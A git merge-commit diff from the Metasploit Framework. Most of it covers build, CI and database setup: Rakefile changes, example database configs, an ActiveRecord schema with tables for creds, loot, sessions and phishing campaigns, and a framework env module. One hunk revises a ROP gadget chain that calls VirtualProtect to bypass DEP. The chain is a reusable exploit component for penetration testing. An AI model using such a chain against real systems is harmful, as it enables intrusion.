Merge branch 'master' of https://github.com/rapid7/metasploit-framework
commit
80d218b284
|
@ -6,6 +6,8 @@
|
|||
.yardoc
|
||||
# Mac OS X files
|
||||
.DS_Store
|
||||
# database config for testing
|
||||
config/database.yml
|
||||
# simplecov coverage data
|
||||
coverage
|
||||
data/meterpreter/ext_server_pivot.dll
|
||||
|
|
|
@ -2,6 +2,10 @@ language: ruby
|
|||
before_install:
|
||||
- sudo apt-get update -qq
|
||||
- sudo apt-get install -qq libpcap-dev
|
||||
before_script:
|
||||
- cp config/database.yml.travis config/database.yml
|
||||
- rake db:create
|
||||
- rake db:migrate
|
||||
|
||||
rvm:
|
||||
#- '1.8.7'
|
||||
|
|
21
Rakefile
21
Rakefile
|
@ -2,6 +2,25 @@ require 'bundler/setup'
|
|||
|
||||
require 'metasploit_data_models'
|
||||
|
||||
pathname = Pathname.new(__FILE__)
|
||||
root = pathname.parent
|
||||
|
||||
# add metasploit-framework/lib to load paths so rake files can just require
|
||||
# files normally without having to use __FILE__ and recalculating root and the
|
||||
# path to lib
|
||||
lib_pathname = root.join('lib')
|
||||
$LOAD_PATH.unshift(lib_pathname.to_s)
|
||||
|
||||
#
|
||||
# load rake files like a rails engine
|
||||
#
|
||||
|
||||
rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path
|
||||
|
||||
Dir.glob(rakefile_glob) do |rakefile|
|
||||
load rakefile
|
||||
end
|
||||
|
||||
print_without = false
|
||||
|
||||
begin
|
||||
|
@ -12,7 +31,7 @@ rescue LoadError
|
|||
|
||||
print_without = true
|
||||
else
|
||||
RSpec::Core::RakeTask.new(:spec)
|
||||
RSpec::Core::RakeTask.new(:spec => 'db:test:prepare')
|
||||
|
||||
task :default => :spec
|
||||
end
|
||||
|
|
|
@ -0,0 +1,21 @@
|
|||
# Please only use postgresql bound to a TCP port.
|
||||
development: &pgsql
|
||||
adapter: postgresql
|
||||
database: metasploit_framework_development
|
||||
username: metasploit_framework_development
|
||||
password: __________________________________
|
||||
host: localhost
|
||||
port: 5432
|
||||
pool: 5
|
||||
timeout: 5
|
||||
|
||||
# Warning: The database defined as "test" will be erased and
|
||||
# re-generated from your development database when you run "rake".
|
||||
# Do not set this db to the same as development or production.
|
||||
#
|
||||
# Note also, sqlite3 is totally unsupported by Metasploit now.
|
||||
test:
|
||||
<<: *pgsql
|
||||
database: metasploit_framework_test
|
||||
username: metasploit_framework_test
|
||||
password: ___________________________
|
|
@ -0,0 +1,27 @@
|
|||
# @note This file is only for use in travis-ci. If you need to make a
|
||||
# config/database.yml for running rake, rake spec, or rspec locally, please
|
||||
# customize `conifg/database.yml.example`
|
||||
#
|
||||
# @example Customizing config/database.yml.example
|
||||
# cp config/database.yml.example config/database.yml
|
||||
# # update password fields for each environment's user
|
||||
|
||||
# Using the postgres user locally without a host and port is the supported
|
||||
# configuration from Travis-CI
|
||||
#
|
||||
# @see http://about.travis-ci.org/docs/user/database-setup/#PostgreSQL
|
||||
development: &pgsql
|
||||
adapter: postgresql
|
||||
database: metasploit_framework_development
|
||||
username: postgres
|
||||
pool: 5
|
||||
timeout: 5
|
||||
|
||||
# Warning: The database defined as "test" will be erased and
|
||||
# re-generated from your development database when you run "rake".
|
||||
# Do not set this db to the same as development or production.
|
||||
#
|
||||
# Note also, sqlite3 is totally unsupported by Metasploit now.
|
||||
test:
|
||||
<<: *pgsql
|
||||
database: metasploit_framework_test
|
|
@ -6,22 +6,28 @@
|
|||
</compatibility>
|
||||
|
||||
<gadgets base="0x7c340000">
|
||||
<gadget offset="0x0000252c">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x0000252c">skip 4 bytes</gadget>
|
||||
<gadget offset="0x0002c55a">POP EBX # RETN</gadget>
|
||||
<gadget value="0x00000400">0x00000400-> ebx</gadget>
|
||||
<gadget offset="0x00005249">POP EDX # RETN</gadget>
|
||||
<gadget value="0x00000040">0x00000040-> edx</gadget>
|
||||
<gadget offset="0x000011c0">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x00051897">Writable location</gadget>
|
||||
<gadget offset="0x0000b8d7">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x00006c0b">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x00026fa6">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x00024c66">POP EBP # RETN</gadget>
|
||||
<gadget offset="0x00024c66">skip 4 bytes</gadget>
|
||||
<gadget offset="0x00004edc">POP EAX # RETN</gadget>
|
||||
<gadget value="FFFFFBFF">0x00000201</gadget>
|
||||
<gadget offset="0x00011e05">NEG EAX # RETN</gadget>
|
||||
<gadget offset="0x000136e3">POP EBX # RETN</gadget>
|
||||
<gadget value="0xffffffff"></gadget>
|
||||
<gadget offset="0x00005255">INC EBX # FPATAN # RETN</gadget>
|
||||
<gadget offset="0x0001218e">ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN</gadget>
|
||||
<gadget offset="0x00005937">POP EDX # RETN</gadget>
|
||||
<gadget value="0xffffffc0">0x00000040</gadget>
|
||||
<gadget offset="0x00011eb1">NEG EDX # RETN</gadget>
|
||||
<gadget offset="0x0002c5b9">POP ECX # RETN</gadget>
|
||||
<gadget offset="0x00051e67">Writable location</gadget>
|
||||
<gadget offset="0x00002e58">POP EDI # RETN</gadget>
|
||||
<gadget offset="0x0000d202">RETN (ROP NOP)</gadget>
|
||||
<gadget offset="0x0000f8f4">POP ESI # RETN</gadget>
|
||||
<gadget offset="0x000015a2">JMP [EAX]</gadget>
|
||||
<gadget offset="0x000362fb">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x00004edc">POP EAX # RETN</gadget>
|
||||
<gadget offset="0x0003a151">ptr to VirtualProtect()</gadget>
|
||||
<gadget offset="0x00038c81">PUSHAD # ADD AL,0EF # RETN</gadget>
|
||||
<gadget offset="0x00005c30">ptr to 'push esp # ret</gadget>
|
||||
<gadget offset="0x00005c30">ptr to 'push esp # ret</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
</db>
|
|
@ -0,0 +1,638 @@
|
|||
# encoding: UTF-8
|
||||
# This file is auto-generated from the current state of the database. Instead
|
||||
# of editing this file, please use the migrations feature of Active Record to
|
||||
# incrementally modify your database, and then regenerate this schema definition.
|
||||
#
|
||||
# Note that this schema.rb definition is the authoritative source for your
|
||||
# database schema. If you need to create the application database on another
|
||||
# system, you should be using db:schema:load, not running all the migrations
|
||||
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
|
||||
# you'll amass, the slower it'll run and the greater likelihood for issues).
|
||||
#
|
||||
# It's strongly recommended to check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(:version => 20130228214900) do
|
||||
|
||||
create_table "api_keys", :force => true do |t|
|
||||
t.text "token"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "attachments", :force => true do |t|
|
||||
t.string "name", :limit => 512
|
||||
t.binary "data"
|
||||
t.string "content_type", :limit => 512
|
||||
t.boolean "inline", :default => true, :null => false
|
||||
t.boolean "zip", :default => false, :null => false
|
||||
t.integer "campaign_id"
|
||||
end
|
||||
|
||||
create_table "attachments_email_templates", :id => false, :force => true do |t|
|
||||
t.integer "attachment_id"
|
||||
t.integer "email_template_id"
|
||||
end
|
||||
|
||||
create_table "campaigns", :force => true do |t|
|
||||
t.integer "workspace_id", :null => false
|
||||
t.string "name", :limit => 512
|
||||
t.text "prefs"
|
||||
t.integer "status", :default => 0
|
||||
t.datetime "started_at"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "clients", :force => true do |t|
|
||||
t.integer "host_id"
|
||||
t.datetime "created_at"
|
||||
t.string "ua_string", :limit => 1024, :null => false
|
||||
t.string "ua_name", :limit => 64
|
||||
t.string "ua_ver", :limit => 32
|
||||
t.datetime "updated_at"
|
||||
t.integer "campaign_id"
|
||||
end
|
||||
|
||||
create_table "creds", :force => true do |t|
|
||||
t.integer "service_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.string "user", :limit => 2048
|
||||
t.string "pass", :limit => 4096
|
||||
t.boolean "active", :default => true
|
||||
t.string "proof", :limit => 4096
|
||||
t.string "ptype", :limit => 256
|
||||
t.integer "source_id"
|
||||
t.string "source_type"
|
||||
end
|
||||
|
||||
create_table "email_addresses", :force => true do |t|
|
||||
t.integer "campaign_id", :null => false
|
||||
t.string "first_name", :limit => 512
|
||||
t.string "last_name", :limit => 512
|
||||
t.string "address", :limit => 512
|
||||
t.boolean "sent", :default => false, :null => false
|
||||
t.datetime "clicked_at"
|
||||
end
|
||||
|
||||
create_table "email_templates", :force => true do |t|
|
||||
t.string "name", :limit => 512
|
||||
t.string "subject", :limit => 1024
|
||||
t.text "body"
|
||||
t.integer "parent_id"
|
||||
t.integer "campaign_id"
|
||||
t.text "prefs"
|
||||
end
|
||||
|
||||
create_table "events", :force => true do |t|
|
||||
t.integer "workspace_id"
|
||||
t.integer "host_id"
|
||||
t.datetime "created_at"
|
||||
t.string "name"
|
||||
t.datetime "updated_at"
|
||||
t.boolean "critical"
|
||||
t.boolean "seen"
|
||||
t.string "username"
|
||||
t.text "info"
|
||||
end
|
||||
|
||||
create_table "exploit_attempts", :force => true do |t|
|
||||
t.integer "host_id"
|
||||
t.integer "service_id"
|
||||
t.integer "vuln_id"
|
||||
t.datetime "attempted_at"
|
||||
t.boolean "exploited"
|
||||
t.string "fail_reason"
|
||||
t.string "username"
|
||||
t.text "module"
|
||||
t.integer "session_id"
|
||||
t.integer "loot_id"
|
||||
t.integer "port"
|
||||
t.string "proto"
|
||||
t.text "fail_detail"
|
||||
end
|
||||
|
||||
create_table "exploited_hosts", :force => true do |t|
|
||||
t.integer "host_id", :null => false
|
||||
t.integer "service_id"
|
||||
t.string "session_uuid", :limit => 8
|
||||
t.string "name", :limit => 2048
|
||||
t.string "payload", :limit => 2048
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "host_details", :force => true do |t|
|
||||
t.integer "host_id"
|
||||
t.integer "nx_console_id"
|
||||
t.integer "nx_device_id"
|
||||
t.string "src"
|
||||
t.string "nx_site_name"
|
||||
t.string "nx_site_importance"
|
||||
t.string "nx_scan_template"
|
||||
t.float "nx_risk_score"
|
||||
end
|
||||
|
||||
create_table "hosts", :force => true do |t|
|
||||
t.datetime "created_at"
|
||||
t.string "address", :limit => nil
|
||||
t.string "mac"
|
||||
t.string "comm"
|
||||
t.string "name"
|
||||
t.string "state"
|
||||
t.string "os_name"
|
||||
t.string "os_flavor"
|
||||
t.string "os_sp"
|
||||
t.string "os_lang"
|
||||
t.string "arch"
|
||||
t.integer "workspace_id"
|
||||
t.datetime "updated_at"
|
||||
t.text "purpose"
|
||||
t.string "info", :limit => 65536
|
||||
t.text "comments"
|
||||
t.text "scope"
|
||||
t.text "virtual_host"
|
||||
t.integer "note_count", :default => 0
|
||||
t.integer "vuln_count", :default => 0
|
||||
t.integer "service_count", :default => 0
|
||||
t.integer "host_detail_count", :default => 0
|
||||
t.integer "exploit_attempt_count", :default => 0
|
||||
end
|
||||
|
||||
add_index "hosts", ["address"], :name => "index_hosts_on_address"
|
||||
add_index "hosts", ["name"], :name => "index_hosts_on_name"
|
||||
add_index "hosts", ["os_flavor"], :name => "index_hosts_on_os_flavor"
|
||||
add_index "hosts", ["os_name"], :name => "index_hosts_on_os_name"
|
||||
add_index "hosts", ["purpose"], :name => "index_hosts_on_purpose"
|
||||
add_index "hosts", ["state"], :name => "index_hosts_on_state"
|
||||
|
||||
create_table "hosts_tags", :id => false, :force => true do |t|
|
||||
t.integer "host_id"
|
||||
t.integer "tag_id"
|
||||
end
|
||||
|
||||
create_table "imported_creds", :force => true do |t|
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.string "user", :limit => 512
|
||||
t.string "pass", :limit => 512
|
||||
t.string "ptype", :limit => 16, :default => "password"
|
||||
end
|
||||
|
||||
create_table "listeners", :force => true do |t|
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.integer "task_id"
|
||||
t.boolean "enabled", :default => true
|
||||
t.text "owner"
|
||||
t.text "payload"
|
||||
t.text "address"
|
||||
t.integer "port"
|
||||
t.binary "options"
|
||||
t.text "macro"
|
||||
end
|
||||
|
||||
create_table "loots", :force => true do |t|
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.integer "host_id"
|
||||
t.integer "service_id"
|
||||
t.string "ltype", :limit => 512
|
||||
t.string "path", :limit => 1024
|
||||
t.text "data"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.string "content_type"
|
||||
t.text "name"
|
||||
t.text "info"
|
||||
end
|
||||
|
||||
create_table "macros", :force => true do |t|
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.text "owner"
|
||||
t.text "name"
|
||||
t.text "description"
|
||||
t.binary "actions"
|
||||
t.binary "prefs"
|
||||
end
|
||||
|
||||
create_table "mod_refs", :force => true do |t|
|
||||
t.string "module", :limit => 1024
|
||||
t.string "mtype", :limit => 128
|
||||
t.text "ref"
|
||||
end
|
||||
|
||||
create_table "module_actions", :force => true do |t|
|
||||
t.integer "module_detail_id"
|
||||
t.text "name"
|
||||
end
|
||||
|
||||
add_index "module_actions", ["module_detail_id"], :name => "index_module_actions_on_module_detail_id"
|
||||
|
||||
create_table "module_archs", :force => true do |t|
|
||||
t.integer "module_detail_id"
|
||||
t.text "name"
|
||||
end
|
||||
|
||||
add_index "module_archs", ["module_detail_id"], :name => "index_module_archs_on_module_detail_id"
|
||||
|
||||
create_table "module_authors", :force => true do |t|
|
||||
t.integer "module_detail_id"
|
||||
t.text "name"
|
||||
t.text "email"
|
||||
end
|
||||
|
||||
add_index "module_authors", ["module_detail_id"], :name => "index_module_authors_on_module_detail_id"
|
||||
|
||||
create_table "module_details", :force => true do |t|
|
||||
t.datetime "mtime"
|
||||
t.text "file"
|
||||
t.string "mtype"
|
||||
t.text "refname"
|
||||
t.text "fullname"
|
||||
t.text "name"
|
||||
t.integer "rank"
|
||||
t.text "description"
|
||||
t.string "license"
|
||||
t.boolean "privileged"
|
||||
t.datetime "disclosure_date"
|
||||
t.integer "default_target"
|
||||
t.text "default_action"
|
||||
t.string "stance"
|
||||
t.boolean "ready"
|
||||
end
|
||||
|
||||
add_index "module_details", ["description"], :name => "index_module_details_on_description"
|
||||
add_index "module_details", ["mtype"], :name => "index_module_details_on_mtype"
|
||||
add_index "module_details", ["name"], :name => "index_module_details_on_name"
|
||||
add_index "module_details", ["refname"], :name => "index_module_details_on_refname"
|
||||
|
||||
create_table "module_mixins", :force => true do |t|
|
||||
t.integer "module_detail_id"
|
||||
t.text "name"
|
||||
end
|
||||
|
||||
add_index "module_mixins", ["module_detail_id"], :name => "index_module_mixins_on_module_detail_id"
|
||||
|
||||
create_table "module_platforms", :force => true do |t|
|
||||
t.integer "module_detail_id"
|
||||
t.text "name"
|
||||
end
|
||||
|
||||
add_index "module_platforms", ["module_detail_id"], :name => "index_module_platforms_on_module_detail_id"
|
||||
|
||||
create_table "module_refs", :force => true do |t|
|
||||
t.integer "module_detail_id"
|
||||
t.text "name"
|
||||
end
|
||||
|
||||
add_index "module_refs", ["module_detail_id"], :name => "index_module_refs_on_module_detail_id"
|
||||
add_index "module_refs", ["name"], :name => "index_module_refs_on_name"
|
||||
|
||||
create_table "module_targets", :force => true do |t|
|
||||
t.integer "module_detail_id"
|
||||
t.integer "index"
|
||||
t.text "name"
|
||||
end
|
||||
|
||||
add_index "module_targets", ["module_detail_id"], :name => "index_module_targets_on_module_detail_id"
|
||||
|
||||
create_table "nexpose_consoles", :force => true do |t|
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.boolean "enabled", :default => true
|
||||
t.text "owner"
|
||||
t.text "address"
|
||||
t.integer "port", :default => 3780
|
||||
t.text "username"
|
||||
t.text "password"
|
||||
t.text "status"
|
||||
t.text "version"
|
||||
t.text "cert"
|
||||
t.binary "cached_sites"
|
||||
t.text "name"
|
||||
end
|
||||
|
||||
create_table "notes", :force => true do |t|
|
||||
t.datetime "created_at"
|
||||
t.string "ntype", :limit => 512
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.integer "service_id"
|
||||
t.integer "host_id"
|
||||
t.datetime "updated_at"
|
||||
t.boolean "critical"
|
||||
t.boolean "seen"
|
||||
t.text "data"
|
||||
end
|
||||
|
||||
add_index "notes", ["ntype"], :name => "index_notes_on_ntype"
|
||||
|
||||
create_table "profiles", :force => true do |t|
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.boolean "active", :default => true
|
||||
t.text "name"
|
||||
t.text "owner"
|
||||
t.binary "settings"
|
||||
end
|
||||
|
||||
create_table "refs", :force => true do |t|
|
||||
t.integer "ref_id"
|
||||
t.datetime "created_at"
|
||||
t.string "name", :limit => 512
|
||||
t.datetime "updated_at"
|
||||
end
|
||||
|
||||
add_index "refs", ["name"], :name => "index_refs_on_name"
|
||||
|
||||
create_table "report_templates", :force => true do |t|
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.string "created_by"
|
||||
t.string "path", :limit => 1024
|
||||
t.text "name"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "reports", :force => true do |t|
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.string "created_by"
|
||||
t.string "rtype"
|
||||
t.string "path", :limit => 1024
|
||||
t.text "options"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.datetime "downloaded_at"
|
||||
t.integer "task_id"
|
||||
t.string "name", :limit => 63
|
||||
end
|
||||
|
||||
create_table "routes", :force => true do |t|
|
||||
t.integer "session_id"
|
||||
t.string "subnet"
|
||||
t.string "netmask"
|
||||
end
|
||||
|
||||
create_table "services", :force => true do |t|
|
||||
t.integer "host_id"
|
||||
t.datetime "created_at"
|
||||
t.integer "port", :null => false
|
||||
t.string "proto", :limit => 16, :null => false
|
||||
t.string "state"
|
||||
t.string "name"
|
||||
t.datetime "updated_at"
|
||||
t.text "info"
|
||||
end
|
||||
|
||||
add_index "services", ["name"], :name => "index_services_on_name"
|
||||
add_index "services", ["port"], :name => "index_services_on_port"
|
||||
add_index "services", ["proto"], :name => "index_services_on_proto"
|
||||
add_index "services", ["state"], :name => "index_services_on_state"
|
||||
|
||||
create_table "session_events", :force => true do |t|
|
||||
t.integer "session_id"
|
||||
t.string "etype"
|
||||
t.binary "command"
|
||||
t.binary "output"
|
||||
t.string "remote_path"
|
||||
t.string "local_path"
|
||||
t.datetime "created_at"
|
||||
end
|
||||
|
||||
create_table "sessions", :force => true do |t|
|
||||
t.integer "host_id"
|
||||
t.string "stype"
|
||||
t.string "via_exploit"
|
||||
t.string "via_payload"
|
||||
t.string "desc"
|
||||
t.integer "port"
|
||||
t.string "platform"
|
||||
t.text "datastore"
|
||||
t.datetime "opened_at", :null => false
|
||||
t.datetime "closed_at"
|
||||
t.string "close_reason"
|
||||
t.integer "local_id"
|
||||
t.datetime "last_seen"
|
||||
end
|
||||
|
||||
create_table "tags", :force => true do |t|
|
||||
t.integer "user_id"
|
||||
t.string "name", :limit => 1024
|
||||
t.text "desc"
|
||||
t.boolean "report_summary", :default => false, :null => false
|
||||
t.boolean "report_detail", :default => false, :null => false
|
||||
t.boolean "critical", :default => false, :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
create_table "tasks", :force => true do |t|
|
||||
t.integer "workspace_id", :default => 1, :null => false
|
||||
t.string "created_by"
|
||||
t.string "module"
|
||||
t.datetime "completed_at"
|
||||
t.string "path", :limit => 1024
|
||||
t.string "info"
|
||||
t.string "description"
|
||||
t.integer "progress"
|
||||
t.text "options"
|
||||
t.text "error"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.text "result"
|
||||
t.string "module_uuid", :limit => 8
|
||||
t.binary "settings"
|
||||
end
|
||||
|
||||
create_table "users", :force => true do |t|
|
||||
t.string "username"
|
||||
t.string "crypted_password"
|
||||
t.string "password_salt"
|
||||
t.string "persistence_token"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.string "fullname"
|
||||
t.string "email"
|
||||
t.string "phone"
|
||||
t.string "company"
|
||||
t.string "prefs", :limit => 524288
|
||||
t.boolean "admin", :default => true, :null => false
|
||||
end
|
||||
|
||||
create_table "vuln_attempts", :force => true do |t|
|
||||
t.integer "vuln_id"
|
||||
t.datetime "attempted_at"
|
||||
t.boolean "exploited"
|
||||
t.string "fail_reason"
|
||||
t.string "username"
|
||||
t.text "module"
|
||||
t.integer "session_id"
|
||||
t.integer "loot_id"
|
||||
t.text "fail_detail"
|
||||
end
|
||||
|
||||
create_table "vuln_details", :force => true do |t|
|
||||
t.integer "vuln_id"
|
||||
t.float "cvss_score"
|
||||
t.string "cvss_vector"
|
||||
t.string "title"
|
||||
t.text "description"
|
||||
t.text "solution"
|
||||
t.binary "proof"
|
||||
t.integer "nx_console_id"
|
||||
t.integer "nx_device_id"
|
||||
t.string "nx_vuln_id"
|
||||
t.float "nx_severity"
|
||||
t.float "nx_pci_severity"
|
||||
t.datetime "nx_published"
|
||||
t.datetime "nx_added"
|
||||
t.datetime "nx_modified"
|
||||
t.text "nx_tags"
|
||||
t.text "nx_vuln_status"
|
||||
t.text "nx_proof_key"
|
||||
t.string "src"
|
||||
t.integer "nx_scan_id"
|
||||
t.datetime "nx_vulnerable_since"
|
||||
t.string "nx_pci_compliance_status"
|
||||
end
|
||||
|
||||
create_table "vulns", :force => true do |t|
|
||||
t.integer "host_id"
|
||||
t.integer "service_id"
|
||||
t.datetime "created_at"
|
||||
t.string "name"
|
||||
t.datetime "updated_at"
|
||||
t.string "info", :limit => 65536
|
||||
t.datetime "exploited_at"
|
||||
t.integer "vuln_detail_count", :default => 0
|
||||
t.integer "vuln_attempt_count", :default => 0
|
||||
end
|
||||
|
||||
add_index "vulns", ["name"], :name => "index_vulns_on_name"
|
||||
|
||||
create_table "vulns_refs", :id => false, :force => true do |t|
|
||||
t.integer "ref_id"
|
||||
t.integer "vuln_id"
|
||||
end
|
||||
|
||||
create_table "web_forms", :force => true do |t|
|
||||
t.integer "web_site_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.text "path"
|
||||
t.string "method", :limit => 1024
|
||||
t.text "params"
|
||||
t.text "query"
|
||||
end
|
||||
|
||||
add_index "web_forms", ["path"], :name => "index_web_forms_on_path"
|
||||
|
||||
create_table "web_pages", :force => true do |t|
|
||||
t.integer "web_site_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.text "path"
|
||||
t.text "query"
|
||||
t.integer "code", :null => false
|
||||
t.text "cookie"
|
||||
t.text "auth"
|
||||
t.text "ctype"
|
||||
t.datetime "mtime"
|
||||
t.text "location"
|
||||
t.text "headers"
|
||||
t.binary "body"
|
||||
t.binary "request"
|
||||
end
|
||||
|
||||
add_index "web_pages", ["path"], :name => "index_web_pages_on_path"
|
||||
add_index "web_pages", ["query"], :name => "index_web_pages_on_query"
|
||||
|
||||
create_table "web_sites", :force => true do |t|
|
||||
t.integer "service_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.string "vhost", :limit => 2048
|
||||
t.text "comments"
|
||||
t.text "options"
|
||||
end
|
||||
|
||||
add_index "web_sites", ["comments"], :name => "index_web_sites_on_comments"
|
||||
add_index "web_sites", ["options"], :name => "index_web_sites_on_options"
|
||||
add_index "web_sites", ["vhost"], :name => "index_web_sites_on_vhost"
|
||||
|
||||
create_table "web_templates", :force => true do |t|
|
||||
t.string "name", :limit => 512
|
||||
t.string "title", :limit => 512
|
||||
t.string "body", :limit => 524288
|
||||
t.integer "campaign_id"
|
||||
t.text "prefs"
|
||||
end
|
||||
|
||||
create_table "web_vulns", :force => true do |t|
|
||||
t.integer "web_site_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.text "path", :null => false
|
||||
t.string "method", :limit => 1024, :null => false
|
||||
t.text "params", :null => false
|
||||
t.text "pname", :null => false
|
||||
t.integer "risk", :null => false
|
||||
t.string "name", :limit => 1024, :null => false
|
||||
t.text "query"
|
||||
t.text "category", :null => false
|
||||
t.text "confidence", :null => false
|
||||
t.text "description"
|
||||
t.text "blame"
|
||||
t.binary "request"
|
||||
t.binary "proof", :null => false
|
||||
t.string "owner"
|
||||
t.text "payload"
|
||||
end
|
||||
|
||||
add_index "web_vulns", ["method"], :name => "index_web_vulns_on_method"
|
||||
add_index "web_vulns", ["name"], :name => "index_web_vulns_on_name"
|
||||
add_index "web_vulns", ["path"], :name => "index_web_vulns_on_path"
|
||||
|
||||
create_table "wmap_requests", :force => true do |t|
|
||||
t.string "host"
|
||||
t.string "address", :limit => nil
|
||||
t.integer "port"
|
||||
t.integer "ssl"
|
||||
t.string "meth", :limit => 32
|
||||
t.text "path"
|
||||
t.text "headers"
|
||||
t.text "query"
|
||||
t.text "body"
|
||||
t.string "respcode", :limit => 16
|
||||
t.text "resphead"
|
||||
t.text "response"
|
||||
t.datetime "created_at"
|
||||
t.datetime "updated_at"
|
||||
end
|
||||
|
||||
create_table "wmap_targets", :force => true do |t|
|
||||
t.string "host"
|
||||
t.string "address", :limit => nil
|
||||
t.integer "port"
|
||||
t.integer "ssl"
|
||||
t.integer "selected"
|
||||
t.datetime "created_at"
|
||||
t.datetime "updated_at"
|
||||
end
|
||||
|
||||
create_table "workspace_members", :id => false, :force => true do |t|
|
||||
t.integer "workspace_id", :null => false
|
||||
t.integer "user_id", :null => false
|
||||
end
|
||||
|
||||
create_table "workspaces", :force => true do |t|
|
||||
t.string "name"
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.string "boundary", :limit => 4096
|
||||
t.string "description", :limit => 4096
|
||||
t.integer "owner_id"
|
||||
t.boolean "limit_to_network", :default => false, :null => false
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,45 @@
|
|||
# Top-level namespace that is shared between {Metasploit::Framework
|
||||
# metasploit-framework} and pro, which uses Metasploit::Pro.
|
||||
module Metasploit
|
||||
# Supports Rails and Rails::Engine like access to metasploit-framework so it
|
||||
# works in compatible manner with activerecord's rake tasks and other
|
||||
# railties.
|
||||
module Framework
|
||||
# Returns the environment for {Metasploit::Framework}. Checks
|
||||
# `METASPLOIT_FRAMEWORK_ENV` environment variable for value. Defaults to
|
||||
# `'development'` if `METASPLOIT_FRAMEWORK_ENV` is not set in the
|
||||
# environment variables.
|
||||
#
|
||||
# {env} is a ActiveSupport::StringInquirer like `Rails.env` so it can be
|
||||
# queried for its value.
|
||||
#
|
||||
# @example check if environment is development
|
||||
# if Metasploit::Framework.env.development?
|
||||
# # runs only when in development
|
||||
# end
|
||||
#
|
||||
# @return [ActiveSupport::StringInquirer] the environment name
|
||||
def self.env
|
||||
unless instance_variable_defined? :@env
|
||||
name = ENV['METASPLOIT_FRAMEWORK_ENV']
|
||||
name ||= 'development'
|
||||
@env = ActiveSupport::StringInquirer.new(name)
|
||||
end
|
||||
|
||||
@env
|
||||
end
|
||||
|
||||
# Returns the root of the metasploit-framework project. Use in place of
|
||||
# `Rails.root`.
|
||||
#
|
||||
# @return [Pathname]
|
||||
def self.root
|
||||
unless instance_variable_defined? :@root
|
||||
pathname = Pathname.new(__FILE__)
|
||||
@root = pathname.parent.parent.parent
|
||||
end
|
||||
|
||||
@root
|
||||
end
|
||||
end
|
||||
end
|
|
@ -92,9 +92,6 @@ class DBManager
|
|||
|
||||
initialize_metasploit_data_models
|
||||
|
||||
# Patches issues with ActiveRecord
|
||||
require "msf/core/patches/active_record"
|
||||
|
||||
@usable = true
|
||||
|
||||
rescue ::Exception => e
|
||||
|
|
|
@ -1,88 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
module ActiveRecord
|
||||
module ConnectionAdapters
|
||||
class ConnectionPool
|
||||
|
||||
|
||||
# XXX: This fixes the logic around whether a connection allocated is "fresh"
|
||||
# AR incorrectly assumed that if any connection was established, it should
|
||||
# no longer free the allocated connection.
|
||||
|
||||
# Check to see if there is an active thread connection
|
||||
def active_thread_connection?(with_id = current_connection_id)
|
||||
@reserved_connections.has_key?(with_id)
|
||||
end
|
||||
|
||||
# If a connection already exists yield it to the block. If no connection
|
||||
# exists checkout a connection, yield it to the block, and checkin the
|
||||
# connection when finished.
|
||||
def with_connection
|
||||
connection_id = current_connection_id
|
||||
fresh_connection = true unless active_thread_connection?(connection_id)
|
||||
yield connection
|
||||
ensure
|
||||
release_connection(connection_id) if fresh_connection
|
||||
end
|
||||
|
||||
|
||||
# XXX: This allows the wait_timeout parameter in the database specification
|
||||
# to use wall time vs a single @queue.wait() call to determine when
|
||||
# it should look for an available connection. This is important with
|
||||
# heavy threading and can be used to buffer spikes when a large number
|
||||
# of threads need their own connection.
|
||||
|
||||
# Check-out a database connection from the pool, indicating that you want
|
||||
# to use it. You should call #checkin when you no longer need this.
|
||||
#
|
||||
# This is done by either returning an existing connection, or by creating
|
||||
# a new connection. If the maximum number of connections for this pool has
|
||||
